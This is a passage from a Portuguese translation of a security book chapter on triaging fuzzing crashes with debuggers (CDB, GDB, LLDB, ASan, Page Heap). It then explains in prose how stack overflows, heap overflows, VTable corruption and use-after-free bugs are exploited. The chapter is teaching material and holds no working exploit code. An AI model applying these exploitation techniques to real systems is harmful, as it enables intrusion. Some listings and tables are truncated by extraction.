Tabela 10-3: Depurando os processos filhos

Depurador Ativar depuração de Desativar a


processos filhos depuração de
processos filhos

CDB .childdbg 1 .childdbg 0

GDB definir follow-fork- definir follow-fork-


mode filho mode pai

LLDB processo attach -- sair do depurador


nome NOME --
aguardar

Há algumas ressalvas quanto ao uso desses comandos. No


Windows com o CDB, você pode depurar todos os processos a
partir de um único depurador. No entanto, com o GDB,
configurar o depurador para seguir o processo filho
interromperá a depuração do processo pai. No Linux, você pode
contornar isso parcialmente usando o comando `set detach-on-
fork off`. Esse comando suspende a depuração do processo pai
enquanto continua a depurar o processo filho e, em seguida,
reconecta-se ao processo pai assim que o processo filho for
encerrado. Contudo, se o processo filho for executado por muito
tempo, o processo pai poderá não conseguir aceitar novas
conexões.

O LLDB não possui uma opção para seguir processos filhos. Em


vez disso, você precisa iniciar uma nova instância do LLDB e
usar a sintaxe de anexação mostrada na Tabela 10-3 para se
conectar automaticamente a novos processos pelo nome do
processo. Você deve substituir o NAME no comando LLDB do
processo pelo nome do processo a ser seguido.

Analisando o acidente

Após a depuração, você pode executar o aplicativo durante o


fuzzing e aguardar a falha do programa. Procure por falhas que
indiquem corrupção de memória — por exemplo, falhas que
ocorrem ao tentar ler ou gravar em endereços inválidos ou ao
tentar executar código em um endereço inválido. Quando
identificar uma falha apropriada, inspecione o estado do
aplicativo para descobrir a causa da falha, como corrupção de
memória ou um erro de indexação de array.
Primeiro, determine o tipo de falha ocorrida a partir da saída
exibida na janela de comando. Por exemplo, o CDB no Windows
normalmente imprime o tipo de falha, que será algo como
"Violação de acesso", e o depurador tentará imprimir a
instrução no local atual do programa onde o aplicativo travou.
Para o GDB e o LLDB em sistemas do tipo Unix, você verá o tipo
de sinal: o tipo mais comum é SIGSEGV para falha de
segmentação, que indica que o aplicativo tentou acessar um
local de memória inválido.

Como exemplo, a Listagem 10-2 mostra o que você veria no CDB


se o aplicativo tentasse executar um endereço de memória
inválido.

(2228.1b44): Violação de acesso - código c00005 (prim


Exceções de primeira chance são relatadas antes de qu
Esta exceção pode ser esperada e tratada.
0000`41414141 ?? ???

Listagem 10-2: Um exemplo de falha no CDB mostrando um


endereço de memória inválido.

Após determinar o tipo de falha, o próximo passo é identificar


qual instrução causou a falha do aplicativo, para que você saiba
o que precisa consultar no estado do processo. Observe na
Listagem 10-2 que o depurador tentou imprimir a instrução na
qual a falha ocorreu, mas o endereço de memória era inválido,
então ele retorna uma série de pontos de interrogação. Quando
a falha ocorre devido à leitura ou gravação de memória
inválida, você obterá uma instrução completa em vez dos
pontos de interrogação. Se o depurador mostrar que você está
executando instruções válidas, você pode desmontar as
instruções em torno do local da falha usando os comandos na
Tabela 10-4.

Tabela 10-4: Comandos de Desmontagem de Instruções

Depurador Desmonte a partir do Desmonte um local


local da colisão específico

CDB u u ENDEREÇO

GDB desmontar desmontar ADDR

LLDB desmontar –quadro desmontar --


endereço-inicial
ADDR
Para exibir o estado dos registradores do processador no
momento da falha, você pode usar os comandos na Tabela 10-5.

Tabela 10-5: Exibição e configuração do estado do registrador


do processador

Depurador Exibir Mostrar Defina um


registros de registro registro
uso geral específico específico

CDB r r @rcx r @rcx =


NOVOVALOR

GDB registros de informações definir $rcx


informações registram =
rcx NOVOVALOR

LLDB registrar leitura de registro de


leitura registro rcx escrita rcx
NOVOVALOR

Você também pode usar esses comandos para definir o valor de


um registrador, o que permite manter o aplicativo em
execução, corrigindo a falha imediata e reiniciando a execução.
Por exemplo, se a falha ocorreu porque o valor de RCX
apontava para uma referência de memória inválida, é possível
redefinir RCX para um endereço de memória válido e continuar
a execução. No entanto, isso pode não funcionar por muito
tempo se o aplicativo já estiver corrompido.

Um detalhe importante a observar é como os registradores são


especificados. No CDB, você usa a sintaxe @NOME para
especificar um registrador em uma expressão (por exemplo, ao
construir um endereço de memória). Para GDB e LLDB, você
normalmente usa $NOME em vez disso. GDB e LLDB também
possuem alguns pseudo-registradores: $pc, que se refere à
localização de memória da instrução que está sendo executada
(que corresponderia a RIP para x64), e $sp, que se refere ao
ponteiro de pilha atual.

Quando o aplicativo que você está depurando trava, é


importante exibir como a função atual do aplicativo foi
chamada, pois isso fornece um contexto crucial para
determinar qual parte do aplicativo causou a falha. Com esse
contexto, você pode restringir o foco às partes do protocolo nas
quais precisa se concentrar para reproduzir a falha.

Você pode obter esse contexto gerando um rastreamento de


pilha, que exibe as funções que foram chamadas antes da
execução da função vulnerável, incluindo, em alguns casos,
variáveis locais e argumentos passados para essas funções. A
Tabela 10-6 lista os comandos para criar um rastreamento de
pilha.

Tabela 10-6: Criando um rastreamento de pilha

Depurador Exibir Exibir o rastreamento


rastreamento de de pilha com
pilha argumentos

CDB K Kb

GDB rastreamento rastreamento completo


reverso

LLDB rastreamento
reverso

Você também pode inspecionar os endereços de memória para


determinar o que causou a falha da instrução atual; use os
comandos na Tabela 10-7.

Tabela 10-7: Exibição de valores de memória


Depurador Exibir Exibir dez valores
bytes/palavras, de 1 byte
dwords, qwords

CDB db, dw, dd, dq db ADDR L10


ENDEREÇO

GDB x/b, x/h, x/w, x/g x/10b ENDEREÇO


ENDEREÇO

LLDB leitura de memória -- leitura de memória -


tamanho 1,2,4,8 -tamanho 1 --
contagem 10

Cada depurador permite controlar como os valores na memória


são exibidos, como o tamanho da memória lida (de 1 byte a 4
bytes), bem como a quantidade de dados a serem impressos.

Outro comando útil determina a que tipo de memória um


endereço corresponde, como memória heap, memória de pilha
ou um executável mapeado. Saber o tipo de memória ajuda a
restringir o tipo de vulnerabilidade. Por exemplo, se ocorreu
uma corrupção de valor de memória, você pode distinguir se
está lidando com uma corrupção de memória de pilha ou de
memória heap. Você pode usar os comandos na Tabela 10-8
para determinar o layout da memória do processo e, em
seguida, verificar a que tipo de memória um endereço
corresponde.

Tabela 10-8: Comandos para exibir o mapa de memória do


processo

Depurador Exibir mapa de memória do processo

CDB !endereço

GDB mapeamentos de procedimento de


informação

LLDB Não existe equivalente direto.

É claro que o depurador oferece muito mais recursos que você


pode precisar usar na sua triagem, mas os comandos fornecidos
nesta seção devem cobrir o básico da triagem de uma falha.

Exemplos de falhas

Agora, vamos analisar alguns exemplos de falhas para que você


saiba como elas se apresentam em diferentes tipos de
vulnerabilidades. Mostrarei apenas falhas no Linux usando o
GDB, mas as informações de falha que você verá em diferentes
plataformas e depuradores devem ser bastante semelhantes. A
Listagem 10-3 mostra um exemplo de falha causada por um
estouro de buffer de pilha típico.

GNU gdb 7.7.1


(gdb) r
Iniciando programa: /home/user/triage/stack_overflow

O programa recebeu o sinal SIGSEGV, Falha de segmenta


➊ 0x41414141 em ?? ()

➋ (gdb) x/i $pc


=> 0x41414141: Não é possível acessar a memória no en
➌ (gdb) x/16xw $sp-16
0xbffff620: 0x41414141 0x41414141 0x41414141 0x414141
0xbffff630: 0x41414141 0x41414141 0x41414141 0x414141
0xbffff640: 0x41414141 0x41414141 0x41414141 0x414141
0xbffff650: 0x41414141 0x41414141 0x41414141 0x414141

Listagem 10-3: Um exemplo de falha devido a um estouro de


buffer de pilha.
Os dados de entrada consistiam em uma série de caracteres A
repetidos, representados aqui pelo valor hexadecimal 0x41. Em
➊, o programa travou ao tentar executar o endereço de
memória 0x41414141. O fato de o endereço conter cópias
repetidas dos nossos dados de entrada indica corrupção de
memória, pois os valores na memória deveriam refletir o
estado de execução atual (como ponteiros para a pilha ou heap)
e é muito improvável que sejam o mesmo valor repetido.
Verificamos se o motivo da falha é a ausência de código
executável em 0x41414141, solicitando ao GDB que desmonte as
instruções no local da falha do programa ➋. O GDB então indica
que não consegue acessar a memória nesse local. A falha não
significa necessariamente que ocorreu um estouro de pilha,
então, para confirmar, mostramos o endereço atual da pilha ➌.
Movendo também o ponteiro da pilha 16 bytes para trás neste
ponto, podemos ver que nossos dados de entrada
definitivamente corromperam a pilha.

O problema com essa falha é que é difícil determinar qual parte


do código é vulnerável. A falha ocorreu ao chamar um endereço
inválido, o que significa que a função que executava a instrução
de retorno não é mais referenciada diretamente e a pilha está
corrompida, dificultando a extração das informações de
chamada. Nesse caso, você poderia examinar a memória da
pilha abaixo da corrupção para procurar um endereço de
retorno deixado na pilha pela função vulnerável, o qual pode
ser usado para rastrear o culpado. A Listagem 10-4 mostra uma
falha resultante de estouro de buffer no heap, que é
consideravelmente mais complexa do que a corrupção da
memória da pilha.

user@debian:~/triage$ gdb ./heap_overflow


GNU gdb 7.7.1

(gdb) r
Iniciando programa: /home/user/triage/heap_overflow

O programa recebeu o sinal SIGSEGV, Falha de segmenta


0x0804862b em main ()
➊ (gdb) x/i $pc
=> 0x804862b <main+112>: mov (%eax),%eax

➋ (gdb) info registers $eax


eax 0x41414141 1094795585

(gdb) x/5i $pc


=> 0x804862b <main+112>: mov (%eax),%eax
0x804862d <main+114>: sub $0xc,%esp
0x8048630 <main+117>: pushl -0x10(%ebp)
➌ 0x8048633 <main+120>: call *%eax
0x8048635 <main+122>: add $0x10,%esp

(gdb) disassemble
Dump of assembler code for function main:
...
➍ 0x08048626 <+107>: mov -0x10(%ebp),%eax
0x08048629 <+110>: mov (%eax),%eax
=> 0x0804862b <+112>: mov (%eax),%eax
0x0804862d <+114>: sub $0xc,%esp
0x08048630 <+117>: pushl -0x10(%ebp)
0x08048633 <+120>: call *%eax

(gdb) x/w $ebp-0x10


0xbffff708: 0x0804a030

➎ (gdb) x/4w 0x0804a030


0x804a030: 0x41414141 0x41414141 0x41414141 0x4141414

(gdb) info mapeamentos de processos


processo 4578
Espaços de endereço mapeados:

Endereço inicial Endereço final Tamanho Deslocamento


0x8048000 0x8049000 0x1000 0x0 /home/user/triage/heap
0x8049000 0x804a000 0x1000 0x0 /home/user/triage/heap
➏ 0x804a000 0x806b000 0x21000 0x0 [heap]
0xb7cce000 0xb7cd0000 0x2000 0x0
0xb7cd0000 0xb7e77000 0x1a7000 0x0 /lib/[Link]

Listagem 10-4: Um exemplo de falha devido a um estouro de


buffer de heap.

Novamente ocorre uma falha, mas em uma instrução válida


que copia um valor do endereço de memória apontado por EAX
de volta para EAX ➊. É provável que a falha tenha ocorrido
porque EAX aponta para uma memória inválida. Imprimir o
registrador ➋ mostra que o valor de EAX é apenas o caractere
de estouro repetido, o que é um sinal de corrupção.

Ao desmontarmos um pouco mais, descobrimos que o valor de


EAX está sendo usado como endereço de memória de uma
função que a instrução em ➌ irá chamar. A desreferenciação de
um valor a partir de outro indica que o código em execução é
uma busca de função virtual em uma Tabela de Funções
Virtuais (VTable). Confirmamos isso desmontando algumas
instruções anteriores à instrução que causa a falha, ➍.
Observamos que um valor está sendo lido da memória, em
seguida esse valor é desreferenciado (o que corresponde à
leitura do ponteiro da VTable) e, finalmente, é desreferenciado
novamente, causando a falha.

Embora a análise que mostra que a falha ocorre ao


desreferenciar um ponteiro da VTable não verifique
imediatamente a corrupção de um objeto no heap, é um bom
indicador. Para verificar a corrupção do heap, extraímos o
valor da memória e verificamos se ele está corrompido usando
o padrão 0x41414141, que foi o nosso valor de entrada durante
o teste ➎. Finalmente, para verificar se a memória está no heap,
usamos o comando `info proc mappings` para despejar o mapa
de memória do processo; a partir disso, podemos ver que o
valor 0x0804a030, que extraímos para ➍, está dentro da região
do heap ➏. A correlação do endereço de memória com os
mapeamentos indica que a corrupção da memória está isolada
a esta região do heap.

Descobrir que a corrupção está isolada ao heap não aponta


necessariamente para a causa raiz da vulnerabilidade, mas
podemos pelo menos encontrar informações na pilha para
determinar quais funções foram chamadas para chegar a esse
ponto. Saber quais funções foram chamadas reduziria o leque
de funções que você precisaria analisar por engenharia reversa
para determinar a culpada.
Aumentando suas chances de encontrar a causa raiz de um
acidente

Rastrear a causa raiz de uma falha pode ser difícil. Se a


memória da pilha estiver corrompida, você perde a informação
sobre qual função estava sendo chamada no momento da falha.
Para vários outros tipos de vulnerabilidades, como estouro de
buffer no heap ou uso após liberação (use-after-free), é possível
que a falha nunca ocorra no local da vulnerabilidade. Também
é possível que a memória corrompida esteja configurada com
um valor que não cause a falha do aplicativo, levando a uma
mudança no comportamento do aplicativo que não pode ser
facilmente observada por meio de um depurador.

Idealmente, você deseja aumentar suas chances de identificar o


ponto exato da aplicação que é vulnerável sem despender
muito esforço. Apresentarei algumas maneiras de melhorar
suas chances de encontrar esse ponto vulnerável.

Reconstruindo Aplicativos com o Address Sanitizer

Se você estiver testando um aplicativo em um sistema


operacional do tipo Unix, há uma boa chance de você ter o
código-fonte do aplicativo. Isso por si só já oferece muitas
vantagens, como informações completas de depuração, mas
também significa que você pode recompilar o aplicativo e
adicionar detecção de erros de memória aprimorada para
aumentar suas chances de descobrir vulnerabilidades.

Uma das melhores ferramentas para adicionar essa


funcionalidade aprimorada durante a recompilação é o Address
Sanitizer (ASan), uma extensão para o compilador C CLANG que
detecta erros de corrupção de memória. Se você especificar a
opção -fsanitize=address ao executar o compilador (geralmente
é possível especificar essa opção usando a variável de ambiente
CFLAGS), o aplicativo recompilado terá instrumentação
adicional para detectar erros comuns de memória, como
corrupção de memória, escritas fora dos limites, uso após
liberação e liberação dupla.

A principal vantagem do ASan é que ele interrompe a aplicação


o mais rápido possível após a ocorrência da condição
vulnerável. Se ocorrer um estouro de alocação de memória
dinâmica (heap overflow), o ASan interrompe o programa e
imprime os detalhes da vulnerabilidade no console do shell. Por
exemplo, a Listagem 10-5 mostra parte da saída de um estouro
de memória dinâmica simples.

==3998==ERRO: AddressSanitizer: estouro de buffer de


0xb6102bf4➋ no pc 0x081087ae➌ bp 0xbf9c64d8 sp 0xbf9
ESCRITA de tamanho 1➍ no thread T0
#0 0x81087ad (/home/user/triage/heap_overflow+0x81087
#1 0xb74cba62 (/lib/i386-linux-gnu/i686/cmov/[Link].
#2 0x8108430 (/home/user/triage/heap_overflow +0x8108

Listagem 10-5: Saída do ASan para um estouro de buffer de


heap

Observe que a saída contém o tipo de bug encontrado ➊ (neste


caso, um estouro de heap), o endereço de memória da escrita
que causou o estouro ➋, a localização no aplicativo que causou
o estouro ➌ e o tamanho do estouro ➍. Usando as informações
fornecidas com um depurador, como mostrado na seção
anterior, você poderá rastrear a causa raiz da vulnerabilidade.

Observe, no entanto, que os locais dentro do aplicativo são


apenas endereços de memória. Arquivos de código-fonte e
números de linha seriam mais úteis. Para recuperá-los no
rastreamento de pilha, precisamos especificar algumas
variáveis de ambiente para habilitar a simbolização, conforme
mostrado na Listagem 10-6. O aplicativo também precisará ser
compilado com informações de depuração, o que podemos
fazer passando a flag de compilador -g para o CLANG.
$ export ASAN_OPTIONS=symbolize=1
$ export ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolize
$ ./heap_overflow
=====================================================
==4035==ERRO: AddressSanitizer: estouro de buffer de
WRITE de tamanho 1 em 0xb6202bf4 thread T0
#0 0x81087ad em main /home/user/triage/heap_overflow.
#1 0xb75a4a62 em __libc_start_main /build/libc-start.
#2 0x8108430 em _start (/home/user/triage/heap_overfl

Listagem 10-6: Saída do ASan para um estouro de buffer de


heap com informações de símbolo

A maior parte do trecho 10-6 é igual ao trecho 10-5. A grande


diferença é que a localização da falha ➊ agora reflete a
localização dentro do código-fonte original (neste caso,
começando na linha 8, caractere 3, dentro do arquivo
heap_overflow.c) em vez de uma localização de memória
dentro do programa. Restringir a localização da falha a uma
linha específica do programa torna muito mais fácil
inspecionar o código vulnerável e determinar a causa da falha.

Depuração do Windows e Heap de Páginas


No Windows, o acesso ao código-fonte do aplicativo que você
está testando provavelmente é mais restrito. Portanto, você
precisará aumentar suas chances de encontrar binários
existentes. O Windows oferece o Page Heap, que você pode
habilitar para melhorar suas chances de localizar uma
corrupção de memória.

Você precisa habilitar manualmente o Page Heap para o


processo que deseja depurar, executando o seguinte comando
como administrador:

C:\> [Link] -i [Link] +hpa

O aplicativo gflags vem instalado com o depurador CDB. O


parâmetro –i permite especificar o nome do arquivo de imagem
para habilitar o Page Heap. Substitua [Link] pelo nome
do aplicativo que você está testando. O parâmetro +hpa é o que
realmente habilita o Page Heap na próxima execução do
aplicativo.

O Page Heap funciona alocando páginas de memória especiais,


definidas pelo sistema operacional (chamadas páginas de
guarda), após cada alocação de heap. Se um aplicativo tentar ler
ou gravar nessas páginas de guarda especiais, um erro será
gerado e o depurador será notificado imediatamente, o que é
útil para detectar um estouro de buffer no heap. Se o estouro
ocorrer imediatamente no final do buffer, a página de guarda
será acessada pelo aplicativo e um erro será gerado
instantaneamente. A Figura 10-1 mostra como esse processo
funciona na prática.

Figura 10-1: O Page Heap detectando um estouro de memória.

Você pode supor que usar o Page Heap seria uma boa maneira
de evitar corrupções de memória no heap, mas o Page Heap
desperdiça uma quantidade enorme de memória porque cada
alocação precisa de uma página de guarda separada. Configurar
as páginas de guarda requer uma chamada de sistema, o que
reduz o desempenho da alocação. No geral, habilitar o Page
Heap para qualquer coisa além de sessões de depuração não
seria uma boa ideia.

Explorando vulnerabilidades comuns

Após pesquisar e analisar um protocolo de rede, você o testou e


encontrou algumas vulnerabilidades que deseja explorar. O
Capítulo 9 descreve muitos tipos de vulnerabilidades de
segurança, mas não como explorá-las, que é o que abordarei
aqui. Começarei com a exploração de corrupções de memória e,
em seguida, discutirei alguns dos tipos de vulnerabilidade mais
incomuns.

Os objetivos da exploração de vulnerabilidades dependem da


finalidade da sua análise de protocolo. Se a análise for em um
produto comercial, você pode estar buscando uma prova de
conceito que demonstre claramente o problema para que o
fornecedor possa corrigi-lo: nesse caso, a confiabilidade não é
tão importante quanto uma demonstração clara da
vulnerabilidade. Por outro lado, se você estiver desenvolvendo
um exploit para uso em um exercício de Red Team e tiver a
tarefa de comprometer alguma infraestrutura, você pode
precisar de um exploit que seja confiável, funcione em diversas
versões do produto e execute a próxima etapa do seu ataque.
Definir antecipadamente seus objetivos de exploração garante
que você não perca tempo com tarefas irrelevantes. Quaisquer
que sejam seus objetivos, esta seção oferece uma boa visão
geral do tópico e referências mais detalhadas para suas
necessidades específicas. Vamos começar explorando
corrupções de memória.

Explorando vulnerabilidades de corrupção de memória

Corrupções de memória, como estouros de pilha e heap, são


muito comuns em aplicações escritas em linguagens inseguras
em relação à memória, como C/C++. É difícil escrever uma
aplicação complexa nessas linguagens de programação sem
introduzir pelo menos uma vulnerabilidade de corrupção de
memória. Essas vulnerabilidades são tão comuns que é
relativamente fácil encontrar informações sobre como explorá-
las.

Para explorar essa vulnerabilidade, é necessário acioná-la de


forma que o estado do programa seja alterado para executar
código arbitrário. Isso pode envolver o sequestro do estado de
execução do processador e seu redirecionamento para algum
código executável fornecido no exploit. Também pode significar
modificar o estado de execução do aplicativo de forma que
funcionalidades antes inacessíveis se tornem disponíveis.
O desenvolvimento do exploit depende do tipo de corrupção e
de quais partes da aplicação em execução são afetadas, bem
como do tipo de mitigação anti-exploit que a aplicação utiliza
para dificultar a exploração da vulnerabilidade. Primeiro,
abordarei os princípios gerais da exploração e, em seguida,
considerarei cenários mais complexos.

Estouro de buffer de pilha

Lembre-se de que um estouro de buffer de pilha ocorre quando


o código subestima o tamanho de um buffer a ser copiado para
um local na pilha, causando um estouro que corrompe outros
dados na pilha. Mais grave ainda, em muitas arquiteturas, o
endereço de retorno de uma função é armazenado na pilha, e a
corrupção desse endereço de retorno dá ao usuário controle
direto da execução, o que permite executar qualquer código
desejado. Uma das técnicas mais comuns para explorar um
estouro de buffer de pilha é corromper o endereço de retorno
na pilha para apontar para um buffer contendo código shell
com instruções que se deseja executar quando o controle for
obtido. Corromper a pilha dessa forma resulta na execução de
código inesperado pela aplicação.

Em um estouro de pilha ideal, você tem controle total sobre o


conteúdo e o comprimento do estouro, garantindo que você
tenha controle total sobre os valores que sobrescreve na pilha.
A Figura 10-2 mostra uma vulnerabilidade de estouro de pilha
ideal em operação.

Figura 10-2: Uma exploração simples de estouro de pilha

O buffer de pilha que vamos sobrescrever está abaixo do


endereço de retorno da função ➊. Quando o estouro ocorre, o
código vulnerável preenche o buffer e então sobrescreve o
endereço de retorno com o valor 0x12345678 ➋. A função
vulnerável completa seu trabalho e tenta retornar para quem a
chamou, mas o endereço de chamada foi substituído por um
valor arbitrário que aponta para o endereço de memória de
algum shellcode inserido ali pelo exploit ➌. A instrução de
retorno é executada e o exploit obtém controle sobre a
execução do código.

Escrever um exploit para um estouro de buffer de pilha é


bastante simples na situação ideal: basta manipular os dados no
buffer estourado para garantir que o endereço de retorno
aponte para uma região de memória que você controla. Em
alguns casos, você pode até adicionar o shellcode ao final do
estouro e definir o endereço de retorno para saltar para a pilha.
Claro, para saltar para a pilha, você precisará encontrar o
endereço de memória da pilha, o que pode ser possível porque
a pilha não se move com muita frequência.

No entanto, as características da vulnerabilidade descoberta


podem gerar problemas. Por exemplo, se a vulnerabilidade for
causada por uma cópia de string no estilo C, você não poderá
usar múltiplos bytes 0 no estouro de buffer, pois C usa um byte
0 como caractere de terminação da string: o estouro será
interrompido imediatamente ao encontrar um byte 0 nos dados
de entrada. Uma alternativa é direcionar o shellcode para um
endereço sem bytes 0, por exemplo, um shellcode que force a
aplicação a fazer solicitações de alocação.

Estouro de buffer de heap


Explorar estouros de buffer na heap pode ser mais complexo do
que explorar um estouro na pilha, pois os buffers da heap
geralmente estão em endereços de memória menos previsíveis.
Isso significa que não há garantia de que você encontrará algo
tão facilmente corrompível quanto o endereço de retorno de
uma função em um local conhecido. Portanto, explorar um
estouro de buffer na heap requer técnicas diferentes, como o
controle das alocações na heap e o posicionamento preciso de
objetos úteis e corrompíveis.

A técnica mais comum para obter controle da execução do


código em caso de estouro de heap é explorar a estrutura dos
objetos C++, especificamente o uso de VTables. Uma VTable é
uma lista de ponteiros para funções que o objeto implementa. O
uso de funções virtuais permite que um desenvolvedor crie
novas classes derivadas de classes base existentes e sobrescreva
algumas de suas funcionalidades, como ilustrado na Figura 10-
3.
Figura 10-3: Implementação da VTable

Para dar suporte a funções virtuais, cada instância alocada de


uma classe deve conter um ponteiro para o endereço de
memória da tabela de funções ➊. Quando uma função virtual é
chamada em um objeto, o compilador gera um código que
busca o endereço da tabela de funções virtuais, depois busca a
função virtual dentro da tabela e, finalmente, chama esse
endereço ➋. Normalmente, não podemos corromper os
ponteiros na tabela, pois é provável que a tabela esteja
armazenada em uma parte da memória somente leitura. Mas
podemos corromper o ponteiro para a VTable e usá-lo para
obter execução de código, como mostrado na Figura 10-4.
Figura 10-4: Obtendo execução de código por meio da
corrupção de endereço da VTable

Vulnerabilidade de uso após liberação

Uma vulnerabilidade de uso após liberação (use-after-free) não


é tanto uma corrupção de memória, mas sim uma corrupção do
estado do programa. A vulnerabilidade ocorre quando um
bloco de memória é liberado, mas um ponteiro para esse bloco
ainda está armazenado em alguma parte da aplicação.
Posteriormente, durante a execução da aplicação, o ponteiro
para o bloco liberado é reutilizado, possivelmente porque o
código da aplicação assume que o ponteiro ainda é válido. Entre
o momento em que o bloco de memória é liberado e o momento
em que o ponteiro para o bloco é reutilizado, existe a
oportunidade de substituir o conteúdo do bloco de memória
por valores arbitrários e usar isso para obter execução de
código.

Quando um bloco de memória é liberado, ele normalmente é


devolvido ao heap para ser reutilizado em outra alocação de
memória; portanto, desde que você possa emitir uma
solicitação de alocação do mesmo tamanho da alocação
original, há uma grande possibilidade de que o bloco de
memória liberado seja reutilizado com o conteúdo que você
manipulou. Podemos explorar vulnerabilidades de uso após
liberação (use-after-free) usando uma técnica semelhante ao
abuso de VTables em estouros de heap, conforme ilustrado na
Figura 10-5.

Primeiro, a aplicação aloca um objeto p na memória heap ➊,


que contém um ponteiro para a VTable que queremos
controlar. Em seguida, a aplicação chama a função delete no
ponteiro para liberar a memória associada ➋. No entanto, a
aplicação não redefine o valor de p, portanto, esse objeto fica
livre para ser reutilizado no futuro.
Figura 10-5: Um exemplo de vulnerabilidade de uso após
liberação (use-after-free).

Embora a figura mostre memória livre, os valores originais da


primeira alocação podem não ter sido realmente removidos.
Isso dificulta a identificação da causa raiz de uma
vulnerabilidade de uso após liberação (use-after-free). O motivo
é que o programa pode continuar funcionando normalmente
mesmo que a memória não esteja mais alocada, pois o conteúdo
não foi alterado.

Finalmente, o exploit aloca memória de tamanho apropriado e


controla o conteúdo da memória apontada por p, que o
alocador de heap reutiliza como alocação para p ➌. Se o
aplicativo reutilizar p para chamar uma função virtual,
podemos controlar a busca e obter execução direta de código.
Manipulando o layout do heap

Na maioria das vezes, a chave para explorar com sucesso uma


vulnerabilidade baseada em heap reside em forçar uma
alocação adequada em um local confiável, sendo, portanto,
importante manipular o layout do heap. Devido à grande
variedade de implementações de heap em diferentes
plataformas, só posso fornecer regras gerais para a
manipulação do heap.

A implementação do heap para uma aplicação pode ser baseada


nos recursos de gerenciamento de memória virtual da
plataforma em que a aplicação está sendo executada. Por
exemplo, o Windows possui a função de API VirtualAlloc, que
aloca um bloco de memória virtual para o processo atual. No
entanto, usar o alocador de memória virtual do sistema
operacional introduz alguns problemas:

Desempenho ruim. Cada alocação e liberação exige que o


sistema operacional alterne para o modo kernel e vice-versa.

Memória desperdiçada. No mínimo, as alocações de memória


virtual são feitas em nível de página, que geralmente tem pelo
menos 4096 bytes. Se você alocar memória menor que o
tamanho da página, o restante da página será desperdiçado.
Devido a esses problemas, a maioria das implementações de
heap recorre aos serviços do sistema operacional somente
quando absolutamente necessário. Em vez disso, elas alocam
uma grande região de memória de uma só vez e, em seguida,
implementam código em nível de usuário para dividir essa
alocação maior em pequenos blocos para atender às
solicitações de alocação.

Lidar eficientemente com a liberação de memória é um desafio


adicional. Uma implementação ingênua poderia simplesmente
alocar uma grande região de memória e incrementar um
ponteiro nessa região a cada alocação, retornando o próximo
endereço de memória disponível quando solicitado. Isso
funcionará, mas é praticamente impossível liberar essa
memória posteriormente: a alocação maior só poderia ser
liberada depois que todas as subalocações tivessem sido
liberadas. Isso pode nunca acontecer em uma aplicação de
longa duração.

Uma alternativa à alocação sequencial simplista é usar uma


lista de blocos livres. Uma lista de blocos livres mantém uma
lista de alocações liberadas dentro de uma alocação maior.
Quando um novo heap é criado, o sistema operacional cria uma
alocação grande na qual a lista de blocos livres consiste em um
único bloco liberado do tamanho da memória alocada. Quando
uma solicitação de alocação é feita, a implementação do heap
examina a lista de blocos livres procurando por um bloco livre
de tamanho suficiente para conter a alocação. A implementação
então usa esse bloco livre, aloca o bloco solicitado no início e
atualiza a lista de blocos livres para refletir o novo tamanho
livre.

Quando um bloco é liberado, a implementação pode adicioná-lo


à lista de blocos livres. Ela também pode verificar se a memória
antes e depois do bloco recém-liberado também está livre e
tentar coalescer esses blocos livres para lidar com a
fragmentação de memória, que ocorre quando muitos blocos
pequenos alocados são liberados, retornando os blocos para a
memória disponível para reutilização. No entanto, as entradas
da lista de blocos livres registram apenas seus tamanhos
individuais; portanto, se uma alocação maior do que qualquer
uma das entradas da lista de blocos livres for solicitada, a
implementação poderá precisar expandir ainda mais a região
alocada pelo sistema operacional para atender à solicitação. Um
exemplo de lista de blocos livres é mostrado na Figura 10-6.
Figura 10-6: Um exemplo de implementação simples de lista
livre

Usando essa implementação de heap, você poderá ver como


obter um layout de heap apropriado para explorar uma
vulnerabilidade baseada em heap. Digamos, por exemplo, que
você saiba que o bloco de heap que você irá sobrecarregar tem
128 bytes; você pode encontrar um objeto C++ com um ponteiro
para a VTable que tenha pelo menos o mesmo tamanho que o
buffer sujeito a estouro. Se você forçar o aplicativo a alocar um
grande número desses objetos, eles acabarão sendo alocados
sequencialmente no heap. Você pode liberar seletivamente um
desses objetos (não importa qual), e há uma boa chance de que,
quando você alocar o buffer vulnerável, ele reutilize o bloco
liberado. Então você pode executar seu estouro de buffer no
heap e corromper a VTable do objeto alocado para obter
execução de código, como ilustrado na Figura 10-7.

Figura 10-7: Alocação de buffers de memória para garantir o


layout correto

Ao manipular heaps, o maior desafio em um ataque de rede é o


controle limitado sobre a alocação de memória. Se você estiver
explorando um navegador web, pode usar JavaScript para
configurar o layout do heap trivialmente, mas para uma
aplicação de rede, é mais difícil. Um bom lugar para procurar
por alocações de objetos é na criação de uma conexão. Se cada
conexão for respaldada por um objeto C++, você pode controlar
a alocação simplesmente abrindo e fechando conexões. Se esse
método não for adequado, você quase certamente terá que
explorar os comandos no protocolo de rede para obter
alocações apropriadas.

Alocações de Pool de Memória Definidas

Como alternativa ao uso de uma lista de memória livre


arbitrária, você pode usar pools de memória definidos para
diferentes tamanhos de alocação, agrupando alocações
menores adequadamente. Por exemplo, você pode especificar
pools para alocações de 16, 64, 256 e 1024 bytes. Quando a
solicitação for feita, a implementação alocará o buffer com base
no pool que melhor corresponda ao tamanho solicitado e que
seja grande o suficiente para acomodar a alocação. Por
exemplo, se você quisesse uma alocação de 50 bytes, ela seria
alocada no pool de 64 bytes, enquanto uma alocação de 512
bytes seria alocada no pool de 1024 bytes. Qualquer alocação
maior que 1024 bytes seria alocada usando uma abordagem
alternativa para alocações grandes. O uso de pools de memória
dimensionados reduz a fragmentação causada por alocações
pequenas. Contanto que haja uma entrada livre para a
memória solicitada no pool dimensionado, a solicitação será
atendida e alocações maiores não serão bloqueadas com tanta
frequência.
Armazenamento de memória Heap

O último tópico a ser discutido em relação às implementações


de heap é como informações como a lista de memória livre são
armazenadas na memória. Existem dois métodos. Em um
método, metadados, como o tamanho do bloco e se o estado é
livre ou alocado, são armazenados junto com a memória
alocada, o que é conhecido como armazenamento em banda
(in-band). No outro, conhecido como armazenamento fora de
banda (out-of-band), os metadados são armazenados em outro
local da memória. O método fora de banda é, em muitos
aspectos, mais fácil de explorar porque você não precisa se
preocupar em restaurar metadados importantes ao corromper
blocos de memória contíguos, e é especialmente útil quando
você não sabe quais valores restaurar para que os metadados
sejam válidos.

Vulnerabilidade de escrita arbitrária na memória

Vulnerabilidades de corrupção de memória são


frequentemente as mais fáceis de encontrar por meio de
fuzzing, mas não são as únicas, como mencionado no Capítulo
9. A mais interessante é a gravação arbitrária de arquivos
resultante do gerenciamento incorreto de recursos. Esse
